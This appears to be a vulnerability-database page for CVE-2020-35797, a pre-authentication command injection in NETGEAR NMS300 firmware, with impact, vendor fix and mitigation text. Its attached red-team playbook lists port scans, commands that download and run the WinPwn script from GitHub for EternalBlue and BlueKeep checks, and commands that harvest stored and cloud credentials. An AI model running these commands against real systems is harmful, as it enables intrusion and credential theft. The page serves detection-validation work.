CVE-2020-35797
Overview
The vulnerability is a command injection flaw affecting NETGEAR NMS300 firmware versions prior to 1.6.0.27. It arises from improper input validation in the device's management interface, allowing unauthenticated users to inject and execute arbitrary OS commands. This issue specifically impacts the firmware component responsible for processing incoming management requests without adequate sanitization.
Vulnerability Description
NETGEAR NMS300 devices before 1.6.0.27 are affected by command injection by an unauthenticated attacker.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary commands on the NETGEAR NMS300 device, potentially leading to full system compromise. Since the attack vector requires no user interaction or authentication (AV:N/AC:L/PR:N/UI:N), it enables unauthorized control over device functions, which may result in disruption of network management services or further lateral movement within the affected environment. The high CVSS score (9.8) reflects the critical nature of this vulnerability's impact on confidentiality, integrity, and availability.
Solution
NETGEAR has addressed this vulnerability in firmware version 1.6.0.27 for the NMS300 series. Users should upgrade to this version or later as detailed in the official security advisory (PSV-2020-0560) available at https://kb.netgear.com/000062688. The advisory provides specific instructions for updating the device firmware to mitigate the command injection flaw. No alternative workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in NETGEAR NMS300 devices stems from a command injection flaw that allows unauthenticated attackers to execute arbitrary commands on the underlying operating system. This weakness arises from insufficient input validation in the web management interface, where user-supplied data is not adequately sanitized. As a result, an attacker can manipulate input fields to inject malicious commands, which the system then executes with the privileges of the web server. This flaw is particularly concerning because it can be exploited remotely without requiring any form of authentication, significantly lowering the barrier for potential attackers.
Attack vectors for this vulnerability are varied and can be executed through multiple entry points, primarily the web interface of the affected devices. An attacker can craft a specially designed HTTP request that includes malicious payloads in the parameters. For instance, by sending a crafted request to the device’s management interface, the attacker can execute system commands that may lead to unauthorized access, data exfiltration, or further compromise of the network. Exploitation scenarios could include gaining access to sensitive configuration files, altering device settings, or even pivoting to other devices within the network, thereby increasing the attack surface and potential damage.
The real-world impact of this vulnerability is significant, especially for organizations relying on NETGEAR NMS300 devices for network management. Given the high CVSS score of 9.8, the risk associated with this flaw is classified as critical. Successful exploitation could lead to severe consequences, including the loss of sensitive data, disruption of network services, and potential reputational damage. Organizations that fail to address this vulnerability may face regulatory penalties, loss of customer trust, and increased operational costs due to incident response and recovery efforts. Furthermore, the ability of an attacker to execute commands remotely amplifies the threat, as it allows for stealthy operations that can go undetected for extended periods.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular vulnerability assessments and penetration testing should be conducted to identify any instances of this flaw within their network. Monitoring network traffic for unusual patterns or unauthorized access attempts can also help in early detection. Additionally, organizations should ensure that all NETGEAR NMS300 devices are updated to the latest firmware version, which addresses this command injection vulnerability. Network segmentation can further limit the potential impact of an attack by isolating critical systems from less secure devices. Employing web application firewalls (WAFs) can also provide an additional layer of protection by filtering and monitoring HTTP requests to the management interface.
In conclusion, the command injection vulnerability in NETGEAR NMS300 devices poses a critical risk to organizations that utilize these devices for network management. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention and action from affected organizations. By implementing robust detection and mitigation strategies, businesses can significantly reduce their exposure to this vulnerability and enhance their overall cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Netgear | Nms300 Firmware | All |
cpe:2.3:o:netgear:nms300_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-35797 |
| kb.netgear.com |
GitHub CVE
x_refsource_MISC
|
https://kb.netgear.com/000062688/Security-Advisory-for-Pre-Authentication-Command-Injection-on-NMS300-PSV-2020-0560 |